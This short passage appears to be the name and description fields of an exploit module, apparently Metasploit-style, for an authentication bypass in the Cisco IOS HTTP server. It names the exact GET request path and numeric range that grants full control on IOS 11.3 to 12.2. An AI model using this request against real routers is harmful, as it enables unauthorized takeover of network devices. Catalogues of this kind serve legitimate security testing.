'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
'Description' => %q{
This module exploits a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for "/level/num/exec/..", where num is between
16 and 99, it is possible to bypass authentication and obtain full system
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
